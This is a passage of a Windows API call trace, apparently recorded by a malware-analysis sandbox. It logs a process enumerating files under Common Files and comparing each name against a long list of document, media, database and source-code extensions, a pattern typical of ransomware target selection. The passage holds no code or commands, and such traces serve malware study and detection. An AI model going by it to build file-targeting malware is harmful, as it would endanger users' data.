returned 1 [0089.438] lstrlenW (lpString=".php") returned 4 [0089.438] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0089.438] lstrlenW (lpString=".php3") returned 5 [0089.438] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0089.438] lstrlenW (lpString=".php4") returned 5 [0089.438] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0089.438] lstrlenW (lpString=".php5") returned 5 [0089.438] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0089.438] lstrlenW (lpString=".phtml") returned 6 [0089.438] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0089.438] lstrlenW (lpString=".pict") returned 5 [0089.438] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0089.438] lstrlenW (lpString=".pl") returned 3 [0089.438] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0089.438] lstrlenW (lpString=".pls") returned 4 [0089.438] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".pm") returned 3 [0089.439] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0089.439] lstrlenW (lpString=".png") returned 4 [0089.439] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".pnm") returned 4 [0089.439] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".pot") returned 4 [0089.439] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".potm") returned 5 [0089.439] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0089.439] lstrlenW (lpString=".potx") returned 5 [0089.439] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0089.439] lstrlenW (lpString=".ppa") returned 4 [0089.439] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".ppam") returned 5 [0089.439] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0089.439] lstrlenW (lpString=".ppm") returned 4 [0089.439] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".pps") returned 4 [0089.439] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".ppsm") returned 5 [0089.439] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0089.439] lstrlenW (lpString=".ppt") returned 4 [0089.439] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".pptm") returned 5 [0089.439] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0089.439] lstrlenW (lpString=".pptx") returned 5 [0089.439] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0089.439] lstrlenW (lpString=".prn") returned 4 [0089.439] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0089.439] lstrlenW (lpString=".ps") returned 3 [0089.440] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0089.440] lstrlenW (lpString=".psb") returned 4 [0089.440] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".psd") returned 4 [0089.440] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".pst") returned 4 [0089.440] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".ptx") returned 4 [0089.440] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".pub") returned 4 [0089.440] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".pwm") returned 4 [0089.440] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".pxr") returned 4 [0089.440] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0089.440] lstrlenW (lpString=".py") returned 3 [0089.440] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0089.440] lstrlenW (lpString=".qt") returned 3 [0089.440] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0089.440] lstrlenW (lpString=".r3d") returned 4 [0089.440] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0089.440] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.440] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0089.441] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0089.441] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ") returned 56 [0089.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0089.441] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.441] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0089.441] lstrlenW (lpString=".1cd") returned 4 [0089.441] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.441] lstrlenW (lpString=".3ds") returned 4 [0089.442] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".3fr") returned 4 [0089.442] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".3g2") returned 4 [0089.442] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".3gp") returned 4 [0089.442] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".7z") returned 3 [0089.442] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.442] lstrlenW (lpString=".accda") returned 6 [0089.442] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0089.442] lstrlenW (lpString=".accdb") returned 6 [0089.442] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0089.442] lstrlenW (lpString=".accdc") returned 6 [0089.442] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0089.442] lstrlenW (lpString=".accde") returned 6 [0089.442] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0089.442] lstrlenW (lpString=".accdt") returned 6 [0089.442] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0089.442] lstrlenW (lpString=".accdw") returned 6 [0089.442] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0089.442] lstrlenW (lpString=".adb") returned 4 [0089.442] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".adp") returned 4 [0089.442] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".ai") returned 3 [0089.442] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.442] lstrlenW (lpString=".ai3") returned 4 [0089.442] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.442] lstrlenW (lpString=".ai4") returned 4 [0089.442] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".ai5") returned 4 [0089.443] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".ai6") returned 4 [0089.443] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".ai7") returned 4 [0089.443] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".ai8") returned 4 [0089.443] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".anim") returned 5 [0089.443] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0089.443] lstrlenW (lpString=".arw") returned 4 [0089.443] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".as") returned 3 [0089.443] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.443] lstrlenW (lpString=".asa") returned 4 [0089.443] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".asc") returned 4 [0089.443] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".ascx") returned 5 [0089.443] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0089.443] lstrlenW (lpString=".asm") returned 4 [0089.443] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".asmx") returned 5 [0089.443] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0089.443] lstrlenW (lpString=".asp") returned 4 [0089.443] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".aspx") returned 5 [0089.443] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0089.443] lstrlenW (lpString=".asr") returned 4 [0089.443] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0089.443] lstrlenW (lpString=".asx") returned 4 [0089.443] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0089.444] lstrlenW (lpString=".avi") returned 4 [0089.444] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0089.444] lstrlenW (lpString=".avs") returned 4 [0089.444] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0089.444] lstrlenW (lpString=".backup") returned 7 [0089.444] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0089.788] lstrlenW (lpString=".bak") returned 4 [0089.789] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".bay") returned 4 [0089.789] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".bd") returned 3 [0089.789] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0089.789] lstrlenW (lpString=".bin") returned 4 [0089.789] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".bmp") returned 4 [0089.789] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".bz2") returned 4 [0089.789] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".c") returned 2 [0089.789] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0089.789] lstrlenW (lpString=".cdr") returned 4 [0089.789] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".cer") returned 4 [0089.789] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".cf") returned 3 [0089.789] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0089.789] lstrlenW (lpString=".cfc") returned 4 [0089.789] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".cfm") returned 4 [0089.789] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".cfml") returned 5 [0089.789] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0089.789] lstrlenW (lpString=".cfu") returned 4 [0089.789] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".chm") returned 4 [0089.789] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0089.789] lstrlenW (lpString=".cin") returned 4 [0089.790] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".class") returned 6 [0089.790] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0089.790] lstrlenW (lpString=".clx") returned 4 [0089.790] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".config") returned 7 [0089.790] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0089.790] lstrlenW (lpString=".cpp") returned 4 [0089.790] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".cr2") returned 4 [0089.790] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".crt") returned 4 [0089.790] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".crw") returned 4 [0089.790] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".cs") returned 3 [0089.790] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0089.790] lstrlenW (lpString=".css") returned 4 [0089.790] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".csv") returned 4 [0089.790] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".cub") returned 4 [0089.790] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".dae") returned 4 [0089.790] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".dat") returned 4 [0089.790] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0089.790] lstrlenW (lpString=".db") returned 3 [0089.790] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0089.790] lstrlenW (lpString=".dbf") returned 4 [0089.791] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dbx") returned 4 [0089.791] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dc3") returned 4 [0089.791] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dcm") returned 4 [0089.791] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dcr") returned 4 [0089.791] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".der") returned 4 [0089.791] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dib") returned 4 [0089.791] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dic") returned 4 [0089.791] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".dif") returned 4 [0089.791] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".divx") returned 5 [0089.791] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0089.791] lstrlenW (lpString=".djvu") returned 5 [0089.791] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0089.791] lstrlenW (lpString=".dng") returned 4 [0089.791] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0089.791] lstrlenW (lpString=".doc") returned 4 [0089.791] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".docm") returned 5 [0089.792] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0089.792] lstrlenW (lpString=".docx") returned 5 [0089.792] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0089.792] lstrlenW (lpString=".dot") returned 4 [0089.792] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".dotm") returned 5 [0089.792] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0089.792] lstrlenW (lpString=".dotx") returned 5 [0089.792] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0089.792] lstrlenW (lpString=".dpx") returned 4 [0089.792] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".dqy") returned 4 [0089.792] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".dsn") returned 4 [0089.792] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".dt") returned 3 [0089.792] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0089.792] lstrlenW (lpString=".dtd") returned 4 [0089.792] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".dwg") returned 4 [0089.792] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0089.792] lstrlenW (lpString=".dwt") returned 4 [0089.792] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".dx") returned 3 [0089.793] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0089.793] lstrlenW (lpString=".dxf") returned 4 [0089.793] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".edml") returned 5 [0089.793] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0089.793] lstrlenW (lpString=".efd") returned 4 [0089.793] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".elf") returned 4 [0089.793] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".emf") returned 4 [0089.793] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".emz") returned 4 [0089.793] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".epf") returned 4 [0089.793] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".eps") returned 4 [0089.793] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".epsf") returned 5 [0089.793] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0089.793] lstrlenW (lpString=".epsp") returned 5 [0089.793] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0089.793] lstrlenW (lpString=".erf") returned 4 [0089.793] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0089.793] lstrlenW (lpString=".exr") returned 4 [0089.794] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".f4v") returned 4 [0089.794] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".fido") returned 5 [0089.794] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0089.794] lstrlenW (lpString=".flm") returned 4 [0089.794] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".flv") returned 4 [0089.794] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".frm") returned 4 [0089.794] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".fxg") returned 4 [0089.794] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".geo") returned 4 [0089.794] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".gif") returned 4 [0089.794] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".grs") returned 4 [0089.794] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".gz") returned 3 [0089.794] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0089.794] lstrlenW (lpString=".h") returned 2 [0089.794] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0089.794] lstrlenW (lpString=".hdr") returned 4 [0089.794] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0089.794] lstrlenW (lpString=".hpp") returned 4 [0089.795] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".hta") returned 4 [0089.795] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".htc") returned 4 [0089.795] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".htm") returned 4 [0089.795] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".html") returned 5 [0089.795] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0089.795] lstrlenW (lpString=".icb") returned 4 [0089.795] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".ics") returned 4 [0089.795] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".iff") returned 4 [0089.795] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".inc") returned 4 [0089.795] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".indd") returned 5 [0089.795] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0089.795] lstrlenW (lpString=".ini") returned 4 [0089.795] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".iqy") returned 4 [0089.795] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0089.795] lstrlenW (lpString=".j2c") returned 4 [0089.795] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".j2k") returned 4 [0089.796] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".java") returned 5 [0089.796] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0089.796] lstrlenW (lpString=".jp2") returned 4 [0089.796] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".jpc") returned 4 [0089.796] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".jpe") returned 4 [0089.796] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".jpeg") returned 5 [0089.796] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0089.796] lstrlenW (lpString=".jpf") returned 4 [0089.796] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".jpg") returned 4 [0089.796] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".jpx") returned 4 [0089.796] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".js") returned 3 [0089.796] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0089.796] lstrlenW (lpString=".jsf") returned 4 [0089.796] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".json") returned 5 [0089.796] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0089.796] lstrlenW (lpString=".jsp") returned 4 [0089.796] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0089.796] lstrlenW (lpString=".kdc") returned 4 [0089.797] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".kmz") returned 4 [0089.797] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".kwm") returned 4 [0089.797] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".lasso") returned 6 [0089.797] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0089.797] lstrlenW (lpString=".lbi") returned 4 [0089.797] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".lgf") returned 4 [0089.797] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".lgp") returned 4 [0089.797] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".log") returned 4 [0089.797] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".m1v") returned 4 [0089.797] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".m4a") returned 4 [0089.797] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".m4v") returned 4 [0089.797] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".max") returned 4 [0089.797] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0089.797] lstrlenW (lpString=".md") returned 3 [0089.797] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0089.797] lstrlenW (lpString=".mda") returned 4 [0089.797] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mdb") returned 4 [0089.798] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mde") returned 4 [0089.798] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mdf") returned 4 [0089.798] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mdw") returned 4 [0089.798] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mef") returned 4 [0089.798] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mft") returned 4 [0089.798] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mfw") returned 4 [0089.798] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0089.798] 